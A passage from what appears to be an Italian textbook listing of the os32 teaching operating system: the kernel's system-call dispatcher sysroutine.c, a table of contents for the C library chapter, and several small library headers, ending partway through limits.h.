119.13.27 kernel/proc/sysroutine.c

Si veda la sezione 118.14.27.

```
2300001 #include <kernel/proc.h>
2300002 #include <errno.h>
2300003 #include <kernel/lib_k.h>
2300004 #include <kernel/lib_s.h>
2300005 //----------------------------------------------------------------------
2300006 static void sysroutine_error_back (int *number, int *line,
2300007                                    char *file_name);
2300008 //----------------------------------------------------------------------
2300009 void
2300010 sysroutine (uint32_t syscallnr, uint32_t msg_off, uint32_t msg_size)
2300011 {
2300012   pid_t pid      = proc_current;
2300013   //
2300014   // Inbox.
2300015   //
2300016   union {
2300017       sysmsg_brk_t       brk;
2300018       sysmsg_chdir_t     chdir;
2300019       sysmsg_chmod_t     chmod;
2300020       sysmsg_chown_t     chown;
2300021       sysmsg_clock_t     clock;
2300022       sysmsg_close_t     close;
2300023       sysmsg_dup_t       dup;
2300024       sysmsg_dup2_t      dup2;
2300025       sysmsg_exec_t      exec;
2300026       sysmsg_exit_t      exit;
2300027       sysmsg_fchmod_t    fchmod;
2300028       sysmsg_fchown_t    fchown;
2300029       sysmsg_fcntl_t     fcntl;
2300030       sysmsg_fork_t      fork;
2300031       sysmsg_fstat_t     fstat;
2300032       sysmsg_kill_t      kill;
2300033       sysmsg_link_t      link;
2300034       sysmsg_lseek_t     lseek;
2300035       sysmsg_mkdir_t     mkdir;
2300036       sysmsg_mknod_t     mknod;
2300037       sysmsg_mount_t     mount;
2300038       sysmsg_open_t      open;
2300039       sysmsg_pipe_t      pipe;
2300040       sysmsg_read_t      read;
2300041       sysmsg_sbrk_t      sbrk;
2300042       sysmsg_seteuid_t   seteuid;
2300043       sysmsg_setuid_t    setuid;
2300044       sysmsg_setegid_t   setegid;
2300045       sysmsg_setgid_t    setgid;
2300046       sysmsg_jmp_t       jmp;
2300047       sysmsg_signal_t    signal;
2300048       sysmsg_sleep_t     sleep;
2300049       sysmsg_stat_t      stat;
```

```
2300050         sysmsg_stime_t      stime;
2300051         sysmsg_tcattr_t     tcattr;
2300052         sysmsg_time_t       time;
2300053         sysmsg_uarea_t      uarea;
2300054         sysmsg_umask_t      umask;
2300055         sysmsg_umount_t     umount;
2300056         sysmsg_unlink_t     unlink;
2300057         sysmsg_wait_t       wait;
2300058         sysmsg_write_t      write;
2300059         sysmsg_zpchar_t     zpchar;
2300060         sysmsg_zpstring_t   zpstring;
2300061     } *msg;
2300062     //
2300063     // Align the message address pointer to the source message.
2300064     //
2300065     msg = proc_offset_data_to_pointer (pid, (addr_t) msg_off);
2300066     //
2300067     // Verify if the system call was emitted from kernel code.
2300068     // The kernel can emit only some particular system call:
2300069     //   SYS_NULL, to let other processes run;
2300070     //   SYS_FORK, to let fork itself;
2300071     //   SYS_EXEC, to replace a forked copy of itself.
2300072     //
2300073     if (pid == 0)
2300074       {
2300075         //
2300076         // This is the kernel code!
2300077         //
2300078         if (   syscallnr != SYS_0
2300079             && syscallnr != SYS_FORK
2300080             && syscallnr != SYS_EXEC
2300081             && syscallnr != SYS_ZPSTRING)
2300082           {
2300083             k_printf ("kernel panic: the system call %i ", syscallnr);
2300084             k_printf ("was received while running in kernel space!\n");
2300085           }
2300086       }
2300087     //
2300088     // Entering a system call, the kernel variable 'errno' must be
2300089     // reset, otherwise, a previous kernel code error might be returned
2300090     // to the applications.
2300091     //
2300092     errno    = 0;
2300093     errln    = 0;
2300094     errfn[0] = 0;
2300095     //
2300096     // Do the request from the received system call.
2300097     //
2300098     switch (syscallnr)
2300099       {
2300100         case SYS_0:
2300101             break;
```

```
2300102         case SYS_BRK:
2300103             msg->brk.ret         = s_brk (pid, msg->brk.address);
2300104             sysroutine_error_back (&msg->brk.errno, &msg->brk.errln,
2300105                                    msg->brk.errfn);
2300106             break;
2300107         case SYS_CHDIR:
2300108             msg->chdir.ret         = s_chdir (pid, msg->chdir.path);
2300109             sysroutine_error_back (&msg->chdir.errno, &msg->chdir.errln,
2300110                                    msg->chdir.errfn);
2300111             break;
2300112         case SYS_CHMOD:
2300113             msg->chmod.ret         = s_chmod (pid, msg->chmod.path,
2300114                                               msg->chmod.mode);
2300115             sysroutine_error_back (&msg->chmod.errno, &msg->chmod.errln,
2300116                                    msg->chmod.errfn);
2300117             break;
2300118         case SYS_CHOWN:
2300119             msg->chown.ret         = s_chown (pid, msg->chown.path,
2300120                                               msg->chown.uid,
2300121                                               msg->chown.gid);
2300122             sysroutine_error_back (&msg->chown.errno, &msg->chown.errln,
2300123                                    msg->chown.errfn);
2300124             break;
2300125         case SYS_CLOCK:
2300126             msg->clock.ret         = s_clock (pid);
2300127             break;
2300128         case SYS_CLOSE:
2300129             msg->close.ret         = s_close (pid, msg->close.fdn);
2300130             sysroutine_error_back (&msg->close.errno, &msg->close.errln,
2300131                                    msg->close.errfn);
2300132             break;
2300133         case SYS_DUP:
2300134             msg->dup.ret           = s_dup (pid, msg->dup.fdn_old);
2300135             sysroutine_error_back (&msg->dup.errno, &msg->dup.errln,
2300136                                    msg->dup.errfn);
2300137             break;
2300138         case SYS_DUP2:
2300139             msg->dup2.ret          = s_dup2 (pid, msg->dup2.fdn_old,
2300140                                              msg->dup2.fdn_new);
2300141             sysroutine_error_back (&msg->dup2.errno, &msg->dup2.errln,
2300142                                    msg->dup2.errfn);
2300143             break;
2300144         case SYS_EXEC:
2300145             msg->exec.ret          = proc_sys_exec (pid,
2300146                                                     msg->exec.path,
2300147                                                     msg->exec.argc,
2300148                                                     msg->exec.arg_data,
2300149                                                     msg->exec.envc,
2300150                                                     msg->exec.env_data);
2300151             msg->exec.uid          = proc_table[pid].uid;
2300152             msg->exec.euid         = proc_table[pid].euid;
2300153             sysroutine_error_back (&msg->exec.errno, &msg->exec.errln,
```

```
2300154                                   msg->exec.errfn);
2300155             break;
2300156         case SYS_EXIT:
2300157             if (pid == 0)
2300158               {
2300159                 k_printf ("kernel alert: "
2300160                           "the kernel cannot exit!\n");
2300161               }
2300162             else
2300163               {
2300164                 s__exit (pid, msg->exit.status);
2300165               }
2300166             break;
2300167         case SYS_FCHMOD:
2300168             msg->fchmod.ret        = s_fchmod (pid, msg->fchmod.fdn,
2300169                                                msg->fchmod.mode);
2300170             sysroutine_error_back (&msg->fchmod.errno,
2300171                                   &msg->fchmod.errln,
2300172                                   msg->fchmod.errfn);
2300173             break;
2300174         case SYS_FCHOWN:
2300175             msg->fchown.ret        = s_fchown (pid, msg->fchown.fdn,
2300176                                                msg->fchown.uid,
2300177                                                msg->fchown.gid);
2300178             sysroutine_error_back (&msg->fchown.errno,
2300179                                   &msg->fchown.errln,
2300180                                   msg->fchown.errfn);
2300181             break;
2300182         case SYS_FCNTL:
2300183             msg->fcntl.ret         = s_fcntl (pid, msg->fcntl.fdn,
2300184                                                msg->fcntl.cmd,
2300185                                                msg->fcntl.arg);
2300186             sysroutine_error_back (&msg->fcntl.errno, &msg->fcntl.errln,
2300187                                   msg->fcntl.errfn);
2300188             break;
2300189         case SYS_FORK:
2300190             msg->fork.ret          = s_fork (pid);
2300191             sysroutine_error_back (&msg->fork.errno, &msg->fork.errln,
2300192                                   msg->fork.errfn);
2300193             break;
2300194         case SYS_FSTAT:
2300195             msg->fstat.ret         = s_fstat (pid, msg->fstat.fdn,
2300196                                               &msg->fstat.stat);
2300197             sysroutine_error_back (&msg->fstat.errno, &msg->fstat.errln,
2300198                                   msg->fstat.errfn);
2300199             break;
2300200         case SYS_KILL:
2300201             msg->kill.ret          = s_kill (pid, msg->kill.pid,
2300202                                              msg->kill.signal);
2300203             sysroutine_error_back (&msg->kill.errno, &msg->kill.errln,
2300204                                   msg->kill.errfn);
2300205             break;
```

```
2300206         case SYS_LINK:
2300207             msg->link.ret          = s_link (pid, msg->link.path_old,
2300208                                              msg->link.path_new);
2300209             sysroutine_error_back (&msg->link.errno, &msg->link.errln,
2300210                                    msg->link.errfn);
2300211             break;
2300212         case SYS_LONGJMP:
2300213             s_longjmp (pid, msg->jmp.env, msg->jmp.ret);
2300214             break;
2300215         case SYS_LSEEK:
2300216             msg->lseek.ret         = s_lseek (pid, msg->lseek.fdn,
2300217                                               msg->lseek.offset,
2300218                                               msg->lseek.whence);
2300219             sysroutine_error_back (&msg->lseek.errno, &msg->lseek.errln,
2300220                                    msg->lseek.errfn);
2300221             break;
2300222         case SYS_MKDIR:
2300223             msg->mkdir.ret         = s_mkdir (pid, msg->mkdir.path,
2300224                                               msg->mkdir.mode);
2300225             sysroutine_error_back (&msg->mkdir.errno, &msg->mkdir.errln,
2300226                                    msg->mkdir.errfn);
2300227             break;
2300228         case SYS_MKNOD:
2300229             msg->mknod.ret         = s_mknod (pid, msg->mknod.path,
2300230                                               msg->mknod.mode,
2300231                                               msg->mknod.device);
2300232             sysroutine_error_back (&msg->mknod.errno, &msg->mknod.errln,
2300233                                    msg->mknod.errfn);
2300234             break;
2300235         case SYS_MOUNT:
2300236             msg->mount.ret         = s_mount (pid, msg->mount.path_dev,
2300237                                               msg->mount.path_mnt,
2300238                                               msg->mount.options);
2300239             sysroutine_error_back (&msg->mount.errno, &msg->mount.errln,
2300240                                    msg->mount.errfn);
2300241             break;
2300242         case SYS_OPEN:
2300243             msg->open.ret          = s_open (pid, msg->open.path,
2300244                                              msg->open.flags,
2300245                                              msg->open.mode);
2300246             sysroutine_error_back (&msg->open.errno, &msg->open.errln,
2300247                                    msg->open.errfn);
2300248             break;
2300249         case SYS_PIPE:
2300250             msg->pipe.ret          = s_pipe (pid, msg->pipe.pipefd);
2300251             sysroutine_error_back (&msg->pipe.errno, &msg->pipe.errln,
2300252                                    msg->pipe.errfn);
2300253             break;
2300254         case SYS_PGRP:
2300255             proc_table[pid].pgrp  = pid;
2300256             break;
2300257         case SYS_READ:
```

```
2300258              msg->read.ret           = s_read (pid, msg->read.fdn,
2300259                                                 msg->read.buffer,
2300260                                                 msg->read.count,
2300261                                                 &msg->read.eof);
2300262              sysroutine_error_back (&msg->read.errno, &msg->read.errln,
2300263                                     msg->read.errfn);
2300264              break;
2300265          case SYS_SBRK:
2300266              msg->sbrk.ret           = s_sbrk (pid, msg->sbrk.increment);
2300267              sysroutine_error_back (&msg->sbrk.errno, &msg->sbrk.errln,
2300268                                     msg->sbrk.errfn);
2300269              break;
2300270          case SYS_SETEUID:
2300271              msg->seteuid.ret        = s_seteuid (pid, msg->seteuid.euid);
2300272              msg->seteuid.euid       = proc_table[pid].euid;
2300273              sysroutine_error_back (&msg->seteuid.errno,
2300274                                     &msg->seteuid.errln,
2300275                                     msg->seteuid.errfn);
2300276              break;
2300277          case SYS_SETUID:
2300278              msg->setuid.ret         = s_setuid (pid, msg->setuid.euid);
2300279              msg->setuid.uid         = proc_table[pid].uid;
2300280              msg->setuid.euid        = proc_table[pid].euid;
2300281              msg->setuid.suid        = proc_table[pid].suid;
2300282              sysroutine_error_back (&msg->setuid.errno, &msg->setuid.errln,
2300283                                     msg->setuid.errfn);
2300284              break;
2300285          case SYS_SETEGID:
2300286              msg->setegid.ret        = s_setegid (pid, msg->setegid.egid);
2300287              msg->setegid.egid       = proc_table[pid].egid;
2300288              sysroutine_error_back (&msg->setegid.errno,
2300289                                     &msg->setegid.errln,
2300290                                     msg->setegid.errfn);
2300291              break;
2300292          case SYS_SETGID:
2300293              msg->setgid.ret         = s_setgid (pid, msg->setgid.egid);
2300294              msg->setgid.gid         = proc_table[pid].gid;
2300295              msg->setgid.egid        = proc_table[pid].egid;
2300296              msg->setgid.sgid        = proc_table[pid].sgid;
2300297              sysroutine_error_back (&msg->setgid.errno, &msg->setgid.errln,
2300298                                     msg->setgid.errfn);
2300299              break;
2300300          case SYS_SETJMP:
2300301              msg->jmp.ret = s_setjmp (pid, msg->jmp.env);
2300302              break;
2300303          case SYS_SIGNAL:
2300304              msg->signal.ret         = s_signal (pid, msg->signal.signal,
2300305                                                   msg->signal.handler,
2300306                                                   msg->signal.wrapper);
2300307              sysroutine_error_back (&msg->signal.errno, &msg->signal.errln,
2300308                                     msg->signal.errfn);
2300309              break;
```

```
2300310         case SYS_SLEEP:
2300311             proc_table[pid].status        = PROC_SLEEPING;
2300312             proc_table[pid].ret           = 0;
2300313             proc_table[pid].wakeup_events = msg->sleep.events;
2300314             proc_table[pid].wakeup_timer  = msg->sleep.seconds;
2300315             break;
2300316         case SYS_STAT:
2300317             msg->stat.ret          = s_stat (pid, msg->stat.path,
2300318                                               &msg->stat.stat);
2300319             sysroutine_error_back (&msg->stat.errno, &msg->stat.errln,
2300320                                    msg->stat.errfn);
2300321             break;
2300322         case SYS_STIME:
2300323             msg->stime.ret         = s_stime (pid, &msg->stime.timer);
2300324             break;
2300325         case SYS_TCGETATTR:
2300326             msg->tcattr.ret        = s_tcgetattr (pid, msg->tcattr.fdn,
2300327                                                    &msg->tcattr.attr);
2300328             sysroutine_error_back (&msg->tcattr.errno, &msg->tcattr.errln,
2300329                                    msg->tcattr.errfn);
2300330             break;
2300331         case SYS_TCSETATTR:
2300332             msg->tcattr.ret        = s_tcsetattr (pid, msg->tcattr.fdn,
2300333                                                    msg->tcattr.action,
2300334                                                    &msg->tcattr.attr);
2300335             sysroutine_error_back (&msg->tcattr.errno, &msg->tcattr.errln,
2300336                                    msg->tcattr.errfn);
2300337             break;
2300338         case SYS_TIME:
2300339             msg->time.ret          = s_time (pid, NULL);
2300340             break;
2300341         case SYS_UAREA:
2300342             msg->uarea.uid         = proc_table[pid].uid;
2300343             msg->uarea.suid        = proc_table[pid].suid;
2300344             msg->uarea.euid        = proc_table[pid].euid;
2300345             msg->uarea.gid         = proc_table[pid].gid;
2300346             msg->uarea.sgid        = proc_table[pid].sgid;
2300347             msg->uarea.egid        = proc_table[pid].egid;
2300348             msg->uarea.pid         = pid;
2300349             msg->uarea.ppid        = proc_table[pid].ppid;
2300350             msg->uarea.pgrp        = proc_table[pid].pgrp;
2300351             msg->uarea.umask       = proc_table[pid].umask;
2300352             strncpy (msg->uarea.path_cwd,
2300353                      proc_table[pid].path_cwd, PATH_MAX);
2300354             break;
2300355         case SYS_UMASK:
2300356             msg->umask.ret         = proc_table[pid].umask;
2300357             proc_table[pid].umask = (msg->umask.umask & 00777);
2300358             break;
2300359         case SYS_UMOUNT:
2300360             msg->umount.ret        = s_umount (pid, msg->umount.path_mnt);
2300361             sysroutine_error_back (&msg->umount.errno, &msg->umount.errln,
```

```
2300362                                     msg->umount.errfn);
2300363             break;
2300364         case SYS_UNLINK:
2300365             msg->unlink.ret         = s_unlink (pid, msg->unlink.path);
2300366             sysroutine_error_back (&msg->unlink.errno, &msg->unlink.errln,
2300367                                     msg->unlink.errfn);
2300368             break;
2300369         case SYS_WAIT:
2300370             msg->wait.ret           = s_wait (pid, &msg->wait.status);
2300371             sysroutine_error_back (&msg->wait.errno, &msg->wait.errln,
2300372                                     msg->wait.errfn);
2300373             break;
2300374         case SYS_WRITE:
2300375             msg->write.ret          = s_write (pid, msg->write.fdn,
2300376                                                msg->write.buffer,
2300377                                                msg->write.count);
2300378             sysroutine_error_back (&msg->write.errno, &msg->write.errln,
2300379                                     msg->write.errfn);
2300380             break;
2300381         case SYS_ZPCHAR:
2300382             dev_io (pid, DEV_TTY, DEV_WRITE, 0L, &msg->zpchar.c,
2300383                     1, NULL);
2300384             break;
2300385         case SYS_ZPSTRING:
2300386             dev_io (pid, DEV_TTY, DEV_WRITE, (off_t) 0,
2300387                     msg->zpstring.string,
2300388                     strlen (msg->zpstring.string), NULL);
2300389             break;
2300390         default:
2300391             k_printf ("kernel alert: unknown system call %i!\n",
2300392                       syscallnr);
2300393             break;
2300394       }
2300395     //
2300396     // Continue with the scheduler.
2300397     //
2300398     proc_scheduler ();
2300399   }
2300400   //----------------------------------------------------------------------
2300401   static void
2300402   sysroutine_error_back (int *number, int *line, char *file_name)
2300403   {
2300404     *number = errno;
2300405     *line   = errln;
2300406     strncpy (file_name, errfn, PATH_MAX);
2300407     file_name[PATH_MAX-1] = 0;
2300408   }
```

Capitolo 120

Sorgenti della libreria generale

120.1 os32: file isolati della directory «lib/» 7457
120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465
120.2 os32: «lib/_gcc.h» 7465
120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474
120.3 os32: «lib/dirent.h» 7476
120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488
120.4 os32: «lib/errno.h» 7489
120.4.1 lib/errno/errno.c 7500
120.5 os32: «lib/fcntl.h» 7500
120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509

120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585

120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660

120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706

120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823

120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827
120.22 os32: «lib/utime.h» 7828
120.22.1 lib/utime/utime.c 7834

120.1 os32: file isolati della directory «lib/»

120.1.1 lib/NULL.h

Si veda la sezione 116.2.

```
2310001 #ifndef _NULL_H
2310002 #define _NULL_H      1
2310003 //----------------------------------------------------------------------
2310004 #define NULL ((void *) 0)
2310005 //----------------------------------------------------------------------
2310006 #endif
```

120.1.2 lib/SEEK.h

Si veda la sezione 116.2.

```
2320001 #ifndef _SEEK_H
2320002 #define _SEEK_H      1
2320003 //----------------------------------------------------------------------
2320004 // These values are used inside 'stdio.h' and 'unistd.h'.
2320005 //----------------------------------------------------------------------
2320006 #define SEEK_SET        0   // From the start.
2320007 #define SEEK_CUR        1   // From current position.
2320008 #define SEEK_END        2   // From the end.
2320009 //----------------------------------------------------------------------
2320010 #endif
```

120.1.3 lib/assert.h

Si veda la sezione 113.6.

```
2330001 #ifndef _ASSERT_H
2330002 #define _ASSERT_H       1
2330003 //----------------------------------------------------------------------
2330004 #include <stdio.h>
2330005 //----------------------------------------------------------------------
2330006 #ifdef NDEBUG
```

```
2330007 #define assert(ignore) ((void)0)
2330008 #else
2330009 #define assert(ASSERTION)                                   \
2330010             ({if ((ASSERTION)==0)                           \
2330011                 fprintf (stderr,                            \
2330012                         "Assertion failed: " # ASSERTION    \
2330013                         ", function %s, file %s, line %u.\n", \
2330014                         __func__, __FILE__, __LINE__);})
2330015 #endif
2330016 //----------------------------------------------------------------------
2330017 #endif
```

120.1.4 lib/clock_t.h

Si veda la sezione 116.2.

```
2340001 #ifndef _CLOCK_T_H
2340002 #define _CLOCK_T_H      1
2340003 //----------------------------------------------------------------------
2340004 #include <stdint.h>
2340005 //----------------------------------------------------------------------
2340006 typedef uint64_t clock_t;
2340007 //----------------------------------------------------------------------
2340008 #endif
```

120.1.5 lib/ctype.h

Si veda la sezione 116.2.

```
2350001 #ifndef _CTYPE_H
2350002 #define _CTYPE_H        1
2350003 //----------------------------------------------------------------------
2350004 #include <NULL.h>
2350005 //----------------------------------------------------------------------
2350006 #define isblank(C)  ((int) (C == ' ' || C == '\t'))
2350007 #define isspace(C)  ((int) (C == ' ' \
2350008                            || C == '\f' \
2350009                            || C == '\n' \
2350010                            || C == '\n' \
2350011                            || C == '\r' \
2350012                            || C == '\t' \
2350013                            || C == '\v'))
2350014 #define isdigit(C)  ((int) (C >= '0' && C <= '9'))
2350015 #define isxdigit(C) ((int) ((C >= '0' && C <= '9') \
2350016                             || (C >= 'A' && C <= 'F') \
2350017                             || (C >= 'a' && C <= 'f')))
2350018 #define isupper(C)  ((int) (C >= 'A' && C <= 'Z'))
2350019 #define islower(C)  ((int) (C >= 'a' && C <= 'z'))
2350020 #define iscntrl(C)  ((int) ((C >= 0x00 && C <= 0x1F) || C == 0x7F))
```

```
2350021 #define isgraph(C)  ((int) (C >= 0x21 && C <= 0x7E))
2350022 #define isprint(C)  ((int) (C >= 0x20 && C <= 0x7E))
2350023 #define isalpha(C)  (isupper (C) || islower (C))
2350024 #define isalnum(C)  (isalpha (C) || isdigit (C))
2350025 #define ispunct(C)  (isgraph (C) && (!isspace (C)) && (!isalnum (C)))
2350026 #define tolower(C)  (isupper (C) ? ((C) + 0x20) : (C))
2350027 #define toupper(C)  (islower (C) ? ((C) - 0x20) : (C))
2350028 #define toascii(C)  (C & 0x7F)
2350029 #define _tolower(C) (isupper (C) ? ((C) + 0x20) : (C))
2350030 #define _toupper(C) (islower (C) ? ((C) - 0x20) : (C))
2350031 //----------------------------------------------------------------------
2350032 #endif
```

120.1.6 lib/limits.h

Si veda la sezione 116.2.

```
2360001 #ifndef _LIMITS_H
2360002 #define _LIMITS_H       1
2360003 //----------------------------------------------------------------------
2360004 #define CHAR_UNSIGNED   0
2360005 //----------------------------------------------------------------------
2360006 #define CHAR_BIT         (8)
2360007 //
2360008 #define SCHAR_MIN        (-0x80)
2360009 #define SCHAR_MAX         (0x7F)
2360010 #define UCHAR_MAX         (0xFF)
2360011 //
2360012 #ifdef CHAR_UNSIGNED
